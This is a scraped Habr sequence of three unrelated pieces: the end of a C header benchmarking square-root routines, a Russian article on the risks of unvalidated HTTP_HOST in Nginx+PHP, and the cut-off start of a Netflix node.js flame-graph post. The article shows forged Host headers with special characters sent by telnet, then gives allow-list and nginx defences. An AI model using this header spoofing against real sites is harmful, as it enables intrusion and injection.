uint16\_t sqrt\_evn( uint32\_t number ); // integer function from article
uint16\_t sqrxi32( uint32\_t y ); // integer function from comment by
uint16\_t sqrt\_fps( uint32\_t number ); // optimized floating point function for Cortex M4
// <-- insert interface of your function here
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Set to variable named as 'round\_test\_func' below
\* to the alias of one of the functions above.
\* The NULL will select last function in comp\_list[]
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
sqrt\_func round\_test\_func = sqrt\_fps; // specific instance for the rounding test
//sqrt\_func round\_test\_func = sqrxi32; // specific instance for the rounding test
//sqrt\_func round\_test\_func = sqrt\_evn; // specific instance for the rounding test
//sqrt\_func round\_test\_func = NULL; // last function in comp\_list[]
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* The array of test functions for competing routines is called comp\_list[].
\* Adding a new function to the test:
- copy the implementation of the new function to the end of this file;
- declare the function interface at the beginning of this file;
- add the alias and declaration of the new function to
end of array named comp\_list[].
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
// @formatter:off
typedef struct
{
sqrt\_func fsqrt;
char \* alias;
} SCompFunc;
SCompFunc comp\_list[] = // competition list
{
{ sqrt\_fpu, "\_fpu" },
{ sqrt\_fps, "\_fps" },
{ sqrt\_evn, "\_evn" },
{ sqrxi32, "\_i32" }
// <-- insert your function name & alias here
};
/\* @formatter:on \*/
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Platform-independent definitions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#define PUT\_FORMAT\_MSG(f\_, ...) { \
sprintf( (char \*)s\_buf, (char \*)f\_, ##\_\_VA\_ARGS\_\_ ); \
PUT\_MSG( (char \*)s\_buf ); }
#define MS\_PER\_SEC 1000
#define US\_PER\_SEC ( MS\_PER\_SEC \* MS\_PER\_SEC )
#define ARRAY\_SIZE(a) (sizeof a / sizeof \*a) // size of static array at runtime
#define SIRV(f) if ( f ) ; // suppress Ignore Return Value warning
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Platform-specific defines
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#if defined( USE\_HAL\_DRIVER ) // STM32 ARM Cortex platform
# include
# include "main.h"
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// Platform-specific defines for the helper functions
# define SCALE\_RATE 1 // must be .GE than 1
# define X\_CLOCK HAL\_GetTick()
# define X\_DELAY( ms ) HAL\_Delay( ms )
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// Platform-specific defines for the terminal output
# define USART\_HANDLE huart1 // set valid USART handler alias here defined by the config of MCU
# define USART\_TIMEOUT 150 // max timeout for HAL\_UART\_Transmit
extern UART\_HandleTypeDef USART\_HANDLE;
extern HAL\_StatusTypeDef HAL\_UART\_Transmit ( UART\_HandleTypeDef \*huart, uint8\_t \*pData, uint16\_t Size, uint32\_t Timeout );
# define PUT\_MSG( msg ) \
HAL\_UART\_Transmit( &USART\_HANDLE, (uint8\_t \*)msg, strlen( (char \*)msg ), USART\_TIMEOUT )
# define CPU\_CLOCK\_MHz ( SystemCoreClock / US\_PER\_SEC ) // CPU CLK in MHz
# if defined( STM32F0 )
# define CPU\_ID ( "STM32 ARM Cortex M0" )
# elif defined ( STM32F3 )
# define CPU\_ID ( "STM32 ARM Cortex M4" )
# else
# define CPU\_ID ( "Maybe STM32 ARM Cortex" )
# endif
# define PUT\_SYS\_INFO PUT\_FORMAT\_MSG( " %s @ "fdU()" MHz\n", CPU\_ID, CPU\_CLOCK\_MHz )
#else // #if defined( USE\_HAL\_DRIVER )
# include
# include
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// Platform-specific defines for the helper functions
# define SCALE\_RATE 100 // must be .GE than 1
# define X\_CLOCK (uint32\_t) x\_clock()
# define X\_DELAY( ms ) x\_delay( ms )
uint32\_t x\_clock()
{
uint64\_t result = (uint64\_t) clock();
result \*= MS\_PER\_SEC;
result /= CLOCKS\_PER\_SEC;
return (uint32\_t) result;
}
void x\_delay( uint32\_t ms )
{
uint64\_t tm = x\_clock();
while ( ( x\_clock() - tm ) < ms )
;
}
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
// Platform-specific defines for the terminal output
# define PUT\_MSG( msg ) \
printf( "%s", (char \*)msg ), fflush ( stdout )
# if defined( \_\_unix\_\_ ) // anybody other platform for gcc
# define PUT\_SYS\_INFO SIRV( system( "cat /proc/cpuinfo | grep 'model name' | head -1 | sed s/'model name\t:'/''/" ) )
# else
# define PUT\_SYS\_INFO PUT\_MSG( "Undefined System & CPU" )
# endif // # if defined( \_\_unix\_\_ ) // anybody other platform for gcc
#endif // #if defined( USE\_HAL\_DRIVER )
#if ( \_\_WORDSIZE == 64 )
# define fdI(s) "%" #s "d"
# define fdU(s) "%" #s "u"
# define fdX(s) "%" #s "x"
#else // let's say \_\_WORDSIZE == 32
# define fdI(s) "%" #s "ld"
# define fdU(s) "%" #s "lu"
# define fdX(s) "%" #s "lx"
#endif // #if ( \_\_WORDSIZE == 64 )
#if defined ( DEBUG ) || defined ( \_DEBUG ) // chk build mode of CubeIDE
# define BUILD\_MODE "DEBUG"
#else // Maybe Release
# define BUILD\_MODE "RELEASE"
#endif // #if defined ( DEBUG ) || defined ( \_DEBUG )
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* the helper data with testing ranges
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
// @formatter:off
typedef struct
{
uint32\_t start;
uint32\_t stop;
uint32\_t repeat;
} STestRange;
STestRange test\_rngs[] =
{
{ 0, 1000, 100 \* SCALE\_RATE },
{ 0, 10000, 10 \* SCALE\_RATE },
{ 0, 100000, 1 \* SCALE\_RATE }
};
uint32\_t test\_results[ARRAY\_SIZE( test\_rngs )][ARRAY\_SIZE( comp\_list ) + 1];
#define MSG\_BUFF\_SIZE 512
uint8\_t s\_buf[MSG\_BUFF\_SIZE]; // buffer for a terminal output
/\* @formatter:on \*/
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Test sets definitions. Do not change it.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#define TEST\_ROUNDING 1
#define TEST\_PERFORMANCE 2
#define TEST\_ALL ( TEST\_ROUNDING | TEST\_PERFORMANCE )
#ifndef TEST\_SET
# define TEST\_SET TEST\_ALL
#endif
#define HI\_ROUND\_TEST\_RANGE\_END 0x007FFFFFUL
#define HI\_ROUND\_TEST\_RANGE\_START ( HI\_ROUND\_TEST\_RANGE\_END >> 4 )
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Interface of helper functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void main\_Header();
void testRounding();
void testPerformance();
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Implementation of the entry point for all sqrt tests
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void main\_Of\_SqrtComp()
{
X\_DELAY( MS\_PER\_SEC / 2 ); // suppress the output of a previous instance
// while the new instance is loading into the MCU
uint32\_t start\_time = X\_CLOCK;
main\_Header();
// checking normal and extended ranges for rounding
if ( TEST\_SET & TEST\_ROUNDING )
testRounding();
// checking normal ranges on execution time
if ( TEST\_SET & TEST\_PERFORMANCE )
testPerformance();
uint32\_t test\_time = X\_CLOCK - start\_time;
uint32\_t test\_m = ( test\_time / MS\_PER\_SEC ) / 60;
uint32\_t test\_s = ( test\_time / MS\_PER\_SEC ) % 60;
uint32\_t test\_ms = test\_time % MS\_PER\_SEC;
PUT\_FORMAT\_MSG( "\ndone, spent time: "fdU()" m, "fdU()"."fdU()" s\n", test\_m, test\_s, test\_ms );
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Implementation of the helper functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void main\_Header()
{
PUT\_MSG( "\n\n\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\n" );
PUT\_SYS\_INFO;
PUT\_FORMAT\_MSG( "\*\*\*\*\*\*\*\*\*\*\* %s, built at %s\n", BUILD\_MODE, \_\_TIME\_\_ );
}
void testPerformance()
{
uint32\_t i\_func, i\_rpt, i\_rng;
uint32\_t number, first, second, diff;
uint64\_t temp;
PUT\_MSG( "----------+ Performance test" );
for ( i\_rng = 0; i\_rng < ARRAY\_SIZE( test\_rngs ); i\_rng++ )
{
PUT\_MSG( "\n" );
PUT\_FORMAT\_MSG( "test range:["fdU()".."fdU()"], repeat="fdU()"\n", test\_rngs[i\_rng].start, test\_rngs[i\_rng].stop,
test\_rngs[i\_rng].repeat );
test\_results[i\_rng][0] = test\_rngs[i\_rng].stop;
for ( i\_func = 0; i\_func < ARRAY\_SIZE( comp\_list ); i\_func++ )
{
PUT\_FORMAT\_MSG( "%s ... ", comp\_list[i\_func].alias );
first = X\_CLOCK;
for ( i\_rpt = 0; i\_rpt < test\_rngs[i\_rng].repeat; i\_rpt++ )
for ( number = test\_rngs[i\_rng].start; number < test\_rngs[i\_rng].stop; number++ )
comp\_list[i\_func].fsqrt( number );
second = X\_CLOCK;
diff = second - first;
temp = ( test\_rngs[i\_rng].stop - test\_rngs[i\_rng].start ) \* test\_rngs[i\_rng].repeat;
test\_results[i\_rng][i\_func + 1] = (uint32\_t) ( temp / diff );
if ( i\_func < ARRAY\_SIZE( comp\_list ) - 1 )
PUT\_MSG( ", " );
}
}
// small report
PUT\_FORMAT\_MSG( "\n----------+ Report: sqrt`s calls per ms\n%10s", "range" );
for ( i\_func = 0; i\_func < ARRAY\_SIZE( comp\_list ); i\_func++ )
PUT\_FORMAT\_MSG( "%10s", comp\_list[i\_func].alias );
for ( i\_rng = 0; i\_rng < ARRAY\_SIZE( test\_rngs ); i\_rng++ )
{
PUT\_MSG( "\n" );
for ( i\_func = 0; i\_func < ARRAY\_SIZE( comp\_list ) + 1; i\_func++ )
PUT\_FORMAT\_MSG( fdU( 10 ), test\_results[i\_rng][i\_func] );
}
PUT\_FORMAT\_MSG( "\n----------+\n%10s", "average" );
for ( i\_func = 0; i\_func < ARRAY\_SIZE( comp\_list ); i\_func++ )
{
temp = 0;
for ( i\_rng = 0; i\_rng < ARRAY\_SIZE( test\_rngs ); i\_rng++ )
temp += test\_results[i\_rng][i\_func + 1];
temp /= ARRAY\_SIZE( test\_rngs );
PUT\_FORMAT\_MSG( fdU( 10 ), (uint32\_t)temp );
}
}
void testRoundingFunction( uint32\_t start, uint32\_t finish, sqrt\_func psqrt, char \*fname );
void testRounding()
{
uint16\_t i\_rng;
uint16\_t f\_rng;
PUT\_MSG( "----------+ Rounding test\n" );
// checking the existence for the test function
for ( f\_rng = 0; f\_rng < ARRAY\_SIZE( comp\_list ); f\_rng++ )
if ( comp\_list[f\_rng].fsqrt == round\_test\_func )
break;
if ( !( f\_rng < ARRAY\_SIZE( comp\_list ) ) )
{
f\_rng = ARRAY\_SIZE( comp\_list ) - 1;
PUT\_FORMAT\_MSG( "Value of 'round\_test\_func' not found.\n" );
}
PUT\_FORMAT\_MSG( "Function '%s' is tested for rounding.\n", comp\_list[f\_rng].alias );
// checking standard ranges
for ( i\_rng = 0; i\_rng < ARRAY\_SIZE( test\_rngs ); i\_rng++ )
testRoundingFunction( test\_rngs[i\_rng].start, test\_rngs[i\_rng].stop, comp\_list[f\_rng].fsqrt, comp\_list[f\_rng].alias );
// checking extended range
testRoundingFunction( HI\_ROUND\_TEST\_RANGE\_START, HI\_ROUND\_TEST\_RANGE\_END, comp\_list[f\_rng].fsqrt, comp\_list[f\_rng].alias );
}
void turn\_the\_fan( uint32\_t ms );
void testRoundingFunction( uint32\_t start, uint32\_t finish, sqrt\_func psqrt, char \*fname )
{
uint32\_t rf, ri;
uint32\_t n, c = 0;
PUT\_FORMAT\_MSG( "test range:["fdU( 10 )".."fdU( 10 )"] ... ", start, finish );
for ( n = start; n < finish; n++ )
{
rf = sqrt\_fpu( n );
ri = ( \*psqrt )( n );
if ( rf != ri )
{
if ( c++ > 3 )
{
PUT\_FORMAT\_MSG( "\b\n(!)too many mistakes in '%s', ", fname );
break;
}
else
{
double d = sqrt( (double) n );
PUT\_FORMAT\_MSG( "\b\n%s("fdU( 10 )")="fdU()" != "fdU(), fname, n, ri, rf );
PUT\_FORMAT\_MSG( " (real value is %.6lf)", d );
}
}
turn\_the\_fan( MS\_PER\_SEC );
}
if ( !c )
{
PUT\_FORMAT\_MSG( "\b done.\n" );
}
else
{
PUT\_FORMAT\_MSG( "test failed.\n" );
}
}
void turn\_the\_fan( uint32\_t ms )
{
static char ca[] = "|/-\\";
static uint32\_t cs = ARRAY\_SIZE(ca) - 1;
static uint32\_t cn = 0;
static uint32\_t at = 0;
uint32\_t ct = X\_CLOCK;
if ( ct - at > ms )
{
at = ct;
PUT\_FORMAT\_MSG( "\b%c", ca[cn++ % cs] );
}
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Implementation of the sqrt functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
// floating point arg & result with double
uint16\_t sqrt\_fpu( uint32\_t number )
{
if ( number < 2 )
return (uint16\_t) number;
double f\_rslt = sqrt( number );
uint32\_t rslt = (uint32\_t) f\_rslt;
if ( !( f\_rslt - (double) rslt < .5 ) )
rslt++;
return (uint16\_t) rslt;
}
// floating point arg & result with float
uint16\_t sqrt\_fps( uint32\_t number )
{
if ( number < 2 )
return (uint16\_t) number;
float f\_rslt = sqrtf( number );
uint32\_t rslt = (uint32\_t) f\_rslt;
if ( !( f\_rslt - (float) rslt < .5 ) )
rslt++;
return (uint16\_t) rslt;
}
// unsigned integer arg & result
// @formatter:off
uint16\_t sqrt\_evn ( uint32\_t number )
{
if ( number < 2 )
return ( uint16\_t ) number;
uint32\_t temp;
uint32\_t div;
uint32\_t rslt;
if ( number & 0xFFFF0000L )
if ( number & 0xFF000000L )
if ( number & 0xF0000000L )
if ( number & 0xE0000000L )
div = 43771;
else
div = 22250;
else
if ( number & 0x0C000000L )
div = 11310;
else
div = 5749;
else
if ( number & 0x00F00000L )
if ( number & 0x00C00000L )
div = 2923;
else
div = 1486;
else
if ( number & 0x000C0000L )
div = 755;
else
div = 384;
else
if ( number & 0xFF00L )
if ( number & 0xF000L )
if ( number & 0xC000L )
div = 195;
else
div = 99;
else
if ( number & 0x0C00L )
div = 50;
else
div = 25;
else
if ( number & 0xF0L )
if ( number & 0x80L )
div = 13;
else
div = 7;
else
div = 3;
rslt = number;
while ( 1 )
{
temp = number / div;
temp += div;
div = temp >> 1;
div += temp & 1;
if ( rslt > div )
rslt = div;
else
{
if ( number / rslt == rslt - 1 && number % rslt == 0 )
rslt--;
return ( uint16\_t ) rslt;
}
}
}
/\* @formatter:on \*/
// unsigned integer arg & result
uint16\_t sqrxi32( uint32\_t y )
{
if ( y == 1 )
return 1;
uint32\_t xh = y > 0x10000ul ? 0x10000ul : y;
uint32\_t xl = 0;
uint32\_t xc;
for ( int k = 0; k < 16; k++ )
{
xc = ( xh + xl ) >> 1ul;
if ( xc \* xc - xc >= y )
{
xh = xc;
}
else
{
xl = xc;
}
}
return ( xh + xl ) >> 1ul;
}
// <-- insert implementation of your function sqrt here
#ifdef \_\_cplusplus
}
#endif
#endif // \_\_SQRT\_CMP\_H
``` | https://habr.com/ru/post/562572/ | null | ru | null |
# Об одной малоизвестной уязвимости в веб сайтах
Первое правило безопасности при разработке Веб приложений гласит: —
> Не доверять данным пришедшим от клиента.
Почти все это правило хорошо знают и соблюдают. Мы пропускаем через валидаторы данные форм, кукисы, даже URI.
Но недавно я с удивлением обнаружил, что есть одна переменная, приходящая от клиента, которую почти никто не фильтрует.
Речь пойдет о компрометации веб приложения через подмену значения `HTTP_HOST` и `SERVER_NAME`.
Если выполнить поиск по Гитхабу, по ключевому слову «HTTP\_HOST», то можно найти порядка 43 страниц репозиториев, в которых используется `$_SERVER['HTTP_HOST']`. При беглом просмотре я обнаружил достаточно много случаев, когда данные пришедшие в этой переменной остались без фильтрации. Чаще всего проверяют только существование `$_SERVER['HTTP_HOST']`, но не проводят валидацию.
Опишу ситуацию для связки Nginx+php (php-fpm либо fcgi-spawn), для других веб-серверов или другого языка программирования ситуация будет отличаться в деталях, но общие принципы сохраняются.
Поведение Apache описано тут: [shiflett.org/blog/2006/mar/server-name-versus-http-host](http://shiflett.org/blog/2006/mar/server-name-versus-http-host)
#### Способы компрометации
Для иллюстрации, будем использовать telnet
Заголовки, которые отправляет браузер серверу выглядят примерно так:
```
GET / HTTP/1.1
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.3
Accept-Language:ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cache-Control:max-age=0
Connection:keep-alive
Host:site.dev
Referer:http://site.dev/index.htm
User-Agent:TelnetTest
```
Если из них убрать строку (передача запроса без `HTTP_HOST`)
```
Host:site.dev,
```
то сервер вернет
```
400 Bad Request
```
Другой способ отправки заголовков:
```
GET http://site.dev/ HTTP/1.1
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.3
Accept-Language:ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cache-Control:max-age=0
Connection:keep-alive
Host:site.dev
Referer:http://site.dev/index.htm
User-Agent:TelnetTest
```
Результат будет точно такой же, как и при отправке первого заголовка
```
GET / HTTP/1.1
```
Но вот, если первым заголовком передать не
```
GET http://site.dev/ HTTP/1.1
```
а
```
GET http://site.dev/
```
То все последующие заголовки будут отброшены, Nginx отработает секцию server определенную для
```
server_name site.dev;
```
Но `HTTP_HOST` и `SERVER_NAME` не будут определены.
Передать пустой `HTTP_HOST` не получится:
```
Host:
```
Но получится передать
```
Host:_
```
или
```
Host:""
```
Теперь самое интересное.
Подключаемся к телнету
```
$ telnet site.dev 80
Trying 127.0.0.1...
Connected to site.dev.
Escape character is '^]'.
```
Оправляем
```
GET http://site.dev/phpinfo.php HTTP/1.1
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.3
Accept-Language:ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cache-Control:max-age=0
Connection:keep-alive
Host:~%#$^&*()<>?@\!."'{}[]=+|
Referer:http://site.dev/index.htm
User-Agent:TelnetTest
```
И смотрим:
```
_SERVER["SERVER_NAME"]: ~%#$^&*()<>?@\!."'{}[]=+|
_SERVER["HTTP_HOST"]: ~%#$^&*()<>?@\!."'{}[]=+|
```
Ответ сервера:
```
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Wed, 23 Jan 2013 10:31:14 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
```
Если в заголовке `Host:` будет присутствовать `'/'`, то сервер вернет `400 Bad Request`.
Т.е. такой заголовок `Host:../../` не пройдет, такой `Host:http://evil.site` тоже
#### Уязвимости
Получение доступа к приватным данным
SQL-инъекции
#### Способы защиты
Самый простой и доступный способ защиты (нашел тут: [stackoverflow.com/questions/1459739/php-serverhttp-host-vs-serverserver-name-am-i-understanding-the-ma](http://stackoverflow.com/questions/1459739/php-serverhttp-host-vs-serverserver-name-am-i-understanding-the-ma)).
```
$allowed_hosts = array('foo.example.com', 'bar.example.com');
if (!isset($_SERVER['HTTP_HOST']) || !in_array($_SERVER['HTTP_HOST'], $allowed_hosts)) {
header($_SERVER['SERVER_PROTOCOL'].' 400 Bad Request');
exit;
}
```
Самый эффективный способ защиты — явно определить `HTTP_HOST` на стороне веб сервера.
Что бы понять, как переопределять `HTTP_HOST` добавим в конфиг Nginx'а такие строки:
```
fastcgi_param HTTP_HOST1 $http_host;
fastcgi_param HTTP_HOST2 $host;
fastcgi_param HTTP_HOST3 $server_name;
```
Допустим у нас определены две секции `server`:
```
server {
listen 80;
server_name site1.dev;
...
}
server {
listen 80;
server_name site2.dev site3.dev;
...
}
```
Сделаем такой запрос
```
$ telnet site1.dev 80
Trying 127.0.0.1...
Connected to site.dev.
Escape character is '^]'.
```
```
GET http://site3.dev/phpinfo.php HTTP/1.1
Host:~%#$^&*()<>?@\!."'{}[]=+|
User-Agent:TelnetTest
```
На выходе получим
```
_SERVER["HTTP_HOST1"]: ~%#$^&*()<>?@\!."'{}[]=+|
_SERVER["HTTP_HOST2"]: site3.dev
_SERVER["HTTP_HOST3"]: site2.dev
```
Все логично. И наиболее корректной будет запись:
```
fastcgi_param HTTP_HOST $host;
```
Если сделать запрос вида
```
$ telnet site3.dev 80
```
```
GET /phpinfo.php HTTP/1.1
Host:~%#$^&*()<>?@\!."'{}[]=+|
User-Agent:TelnetTest
```
то отработает секция
```
server {
listen 80 default_server;
server_name "";
return 444;
}
```
которая легко отсеет такой запрос. | https://habr.com/ru/post/166855/ | null | ru | null |
# Node.js в огне
Мы создаем новое поколение веб-приложения Netflix.com, использующего node.js. Вы можете узнать больше о нашем походе из [презентации](https://www.youtube.com/watch?v=gtjzjiTI96c&list=PLfXiENmg6yyUpIVY9XVOkbdmBPx6PUm9_), которую мы представили на NodeConf.eu несколько месяцев назад. Сегодня я хочу поделиться накопленным опытом в настройке производительности нового стека нашего приложения.
Мы впервые столкнулись с проблемами, когда заметили, что задержка запроса в нашем node.js приложении со временем увеличивается. К тому же оно использовало больше ресурсов процессора, чем мы ожидали, и это коррелировало с временем задержки. Нам приходилось использовать перезагрузку как временное решение, пока мы искали причину с помощью новых инструментов и техник аналитики производительности в нашей Linux EC2 среде.
#### Огонь разгорается
Мы заметили, что задержка запроса в нашем node.js приложении со временем увеличивается. Так, на некоторых из наших серверах задержка вырастала с 1 миллисекунды до 10 миллисекунд каждый час. Мы также видели зависимость увеличения использования ресурсов процессора.
Этот график демонстрирует длительность задержки запроса в миллисекундах относительно времени. Каждый цвет обозначает различный экземпляр AWS AZ. Вы можете увидеть, что задержка постоянно возрастает на 10 миллисекунд в час и достигает 60 миллисекунд перед перезагрузкой.
#### Тушение огня
Изначально мы предположили, что это могут быть утечки памяти в наших собственных обработчиках запросов, которые, в свою очередь, вызывали задержки. Мы проверили это предположение, с помощью нагрузочного тестирования изолированного приложения добавив метрики для измерения задержек только на наших обработчиках запросов и общей длительности задержки запросов, также увеличив размер используемой памяти в node.js до 32 гигабайт.
Мы выяснили, что задержка в наших обработчиках остается постоянной и равняется 1 миллисекунде. Также мы установили, что размер затрачиваемой памяти процессом тоже остается неизменным, достигая примерно 1.2 гигабайта. Тем не менее общая задержка и использование процессора продолжало расти. Это означало, что наши обработчики тут ни при чем, а проблемы находятся глубже в стеке.
Что-то добавляло дополнительные 60 миллисекунд к обслуживанию запроса. Нам был нужен способ для профилирования использования процессора приложением и визуализация полученных данных. На помощь нам пришли Linux [Perf Events](https://perf.wiki.kernel.org/index.php/Main_Page) и flame graphs процессора.
Если вы не знакомы с flame graphs, то я советую вам прочитать [отличную статью](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) Брендана Грегга, в которой он все подробно обьясняет. Вот её краткое содержание (прямо из статьи):
* Каждый блок обозначает функцию в стеке (стек фрейм)
* Ось Y обозначает глубину стека (количество фреймов в стеке). Верхний блок обозначает функцию, которая выполнялась процессором, все, что ниже – это стек её вызова.
* Ось X обозначает количество вызовов функции. На ней не показывается количество затраченного функцией времени, как на большинстве графиков. Порядок расположения не имеет значения, блоки просто отсортированы в лексикографическом порядке.
